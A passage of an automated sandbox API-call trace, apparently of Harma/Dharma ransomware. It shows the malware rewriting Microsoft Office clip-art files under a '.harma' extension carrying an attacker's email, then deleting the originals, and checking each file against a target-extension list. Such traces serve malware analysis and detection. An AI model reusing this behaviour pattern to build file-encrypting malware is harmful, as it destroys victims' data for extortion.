dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0164.260] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.260] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0164.262] GetLastError () returned 0x0 [0164.262] ReadFile (in: hFile=0x3a4, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1016, lpOverlapped=0x0) returned 1 [0164.301] WriteFile (in: hFile=0x338, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1020, lpOverlapped=0x0) returned 1 [0164.303] ReadFile (in: hFile=0x3a4, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0164.303] WriteFile (in: hFile=0x338, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0164.303] SetEndOfFile (hFile=0x338) returned 1 [0165.503] CloseHandle (hObject=0x338) returned 1 [0165.698] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.698] SetEndOfFile (hFile=0x3a4) returned 1 [0165.701] CloseHandle (hObject=0x3a4) returned 1 [0165.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf")) returned 1 [0165.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0165.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0165.706] lstrlenW (lpString=".doc") returned 4 [0165.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.706] lstrlenW (lpString=".docx") returned 5 [0165.706] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0165.706] lstrlenW (lpString=".pdf") returned 4 [0165.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.706] lstrlenW (lpString=".xls") returned 4 [0165.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.706] lstrlenW (lpString=".xlsx") returned 5 [0165.706] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0165.706] lstrlenW (lpString=".ppt") returned 4 [0165.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0165.706] lstrlenW (lpString=".zip") returned 4 [0165.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.706] lstrlenW (lpString=".rar") returned 4 [0165.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.706] lstrlenW (lpString=".bz2") returned 4 [0165.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.706] lstrlenW (lpString=".7z") returned 3 [0165.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0165.706] lstrlenW (lpString=".dbf") returned 4 [0165.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0165.707] lstrlenW (lpString=".1cd") returned 4 [0165.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0165.707] lstrlenW (lpString=".jpg") returned 4 [0165.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0165.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0165.707] lstrlenW (lpString=".doc") returned 4 [0165.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.707] lstrlenW (lpString=".docx") returned 5 [0165.707] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0165.707] lstrlenW (lpString=".pdf") returned 4 [0165.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.707] lstrlenW (lpString=".xls") returned 4 [0165.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.707] lstrlenW (lpString=".xlsx") returned 5 [0165.707] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0165.707] lstrlenW (lpString=".ppt") returned 4 [0165.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0165.707] lstrlenW (lpString=".zip") returned 4 [0165.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.707] lstrlenW (lpString=".rar") returned 4 [0165.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.707] lstrlenW (lpString=".bz2") returned 4 [0165.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.707] lstrlenW (lpString=".7z") returned 3 [0165.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0165.708] lstrlenW (lpString=".dbf") returned 4 [0165.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0165.708] lstrlenW (lpString=".1cd") returned 4 [0165.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0165.708] lstrlenW (lpString=".jpg") returned 4 [0165.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.708] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0165.708] lstrlenW (lpString="J0099189.JPG") returned 12 [0165.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0165.719] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=8076) returned 1 [0165.719] CloseHandle (hObject=0x364) returned 1 [0165.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg")) returned 0x20 [0165.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0165.720] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.720] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0165.721] GetLastError () returned 0x0 [0165.721] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1f8c, lpOverlapped=0x0) returned 1 [0165.723] WriteFile (in: hFile=0x3a4, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1f90, lpOverlapped=0x0) returned 1 [0165.724] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0165.724] WriteFile (in: hFile=0x3a4, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0165.724] SetEndOfFile (hFile=0x3a4) returned 1 [0165.725] CloseHandle (hObject=0x3a4) returned 1 [0165.725] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.725] SetEndOfFile (hFile=0x364) returned 1 [0165.727] CloseHandle (hObject=0x364) returned 1 [0165.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.727] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg")) returned 1 [0165.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0165.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0165.728] lstrlenW (lpString=".doc") returned 4 [0165.728] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.728] lstrlenW (lpString=".docx") returned 5 [0165.728] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0165.728] lstrlenW (lpString=".pdf") returned 4 [0165.728] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.728] lstrlenW (lpString=".xls") returned 4 [0165.728] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.728] lstrlenW (lpString=".xlsx") returned 5 [0165.728] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0165.728] lstrlenW (lpString=".ppt") returned 4 [0165.728] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0165.728] lstrlenW (lpString=".zip") returned 4 [0165.728] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.729] lstrlenW (lpString=".rar") returned 4 [0165.729] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.729] lstrlenW (lpString=".bz2") returned 4 [0165.729] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.729] lstrlenW (lpString=".7z") returned 3 [0165.729] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0165.729] lstrlenW (lpString=".dbf") returned 4 [0165.729] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0165.729] lstrlenW (lpString=".1cd") returned 4 [0165.729] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0165.729] lstrlenW (lpString=".jpg") returned 4 [0165.729] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0165.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0165.729] lstrlenW (lpString=".doc") returned 4 [0165.729] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.729] lstrlenW (lpString=".docx") returned 5 [0165.729] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0165.729] lstrlenW (lpString=".pdf") returned 4 [0165.729] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.729] lstrlenW (lpString=".xls") returned 4 [0165.729] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.729] lstrlenW (lpString=".xlsx") returned 5 [0165.729] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0165.729] lstrlenW (lpString=".ppt") returned 4 [0165.729] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0165.729] lstrlenW (lpString=".zip") returned 4 [0165.729] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.730] lstrlenW (lpString=".rar") returned 4 [0165.730] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.730] lstrlenW (lpString=".bz2") returned 4 [0165.730] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.730] lstrlenW (lpString=".7z") returned 3 [0165.730] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0165.730] lstrlenW (lpString=".dbf") returned 4 [0165.730] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0165.730] lstrlenW (lpString=".1cd") returned 4 [0165.730] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0165.730] lstrlenW (lpString=".jpg") returned 4 [0165.730] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.730] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0165.730] lstrlenW (lpString="J0099191.JPG") returned 12 [0165.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0165.731] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=62367) returned 1 [0165.731] CloseHandle (hObject=0x364) returned 1 [0165.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg")) returned 0x20 [0165.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0165.731] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.731] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0165.732] GetLastError () returned 0x0 [0165.732] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xf39f, lpOverlapped=0x0) returned 1 [0165.735] WriteFile (in: hFile=0x3a4, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xf3a0, lpOverlapped=0x0) returned 1 [0165.737] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0165.737] WriteFile (in: hFile=0x3a4, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0165.737] SetEndOfFile (hFile=0x3a4) returned 1 [0165.737] CloseHandle (hObject=0x3a4) returned 1 [0165.737] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.737] SetEndOfFile (hFile=0x364) returned 1 [0165.742] CloseHandle (hObject=0x364) returned 1 [0165.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg")) returned 1 [0165.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0165.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0165.744] lstrlenW (lpString=".doc") returned 4 [0165.744] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.744] lstrlenW (lpString=".docx") returned 5 [0165.744] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0165.744] lstrlenW (lpString=".pdf") returned 4 [0165.744] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.744] lstrlenW (lpString=".xls") returned 4 [0165.744] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.744] lstrlenW (lpString=".xlsx") returned 5 [0165.744] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0165.744] lstrlenW (lpString=".ppt") returned 4 [0165.744] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0165.744] lstrlenW (lpString=".zip") returned 4 [0165.744] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.744] lstrlenW (lpString=".rar") returned 4 [0165.744] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.744] lstrlenW (lpString=".bz2") returned 4 [0165.744] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.745] lstrlenW (lpString=".7z") returned 3 [0165.745] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0165.745] lstrlenW (lpString=".dbf") returned 4 [0165.745] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0165.745] lstrlenW (lpString=".1cd") returned 4 [0165.745] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0165.745] lstrlenW (lpString=".jpg") returned 4 [0165.745] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0165.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0165.745] lstrlenW (lpString=".doc") returned 4 [0165.745] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.745] lstrlenW (lpString=".docx") returned 5 [0165.745] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0165.745] lstrlenW (lpString=".pdf") returned 4 [0165.745] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.745] lstrlenW (lpString=".xls") returned 4 [0165.745] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.745] lstrlenW (lpString=".xlsx") returned 5 [0165.745] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0165.746] lstrlenW (lpString=".ppt") returned 4 [0165.746] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0165.746] lstrlenW (lpString=".zip") returned 4 [0165.746] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.746] lstrlenW (lpString=".rar") returned 4 [0165.746] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.746] lstrlenW (lpString=".bz2") returned 4 [0165.746] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.746] lstrlenW (lpString=".7z") returned 3 [0165.746] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0165.746] lstrlenW (lpString=".dbf") returned 4 [0165.746] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0165.746] lstrlenW (lpString=".1cd") returned 4 [0165.746] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0165.746] lstrlenW (lpString=".jpg") returned 4 [0165.746] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.746] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0165.747] lstrlenW (lpString="J0099192.GIF") returned 12 [0165.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0165.747] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=17964) returned 1 [0165.747] CloseHandle (hObject=0x364) returned 1 [0165.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif")) returned 0x20 [0165.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0165.748] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.748] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 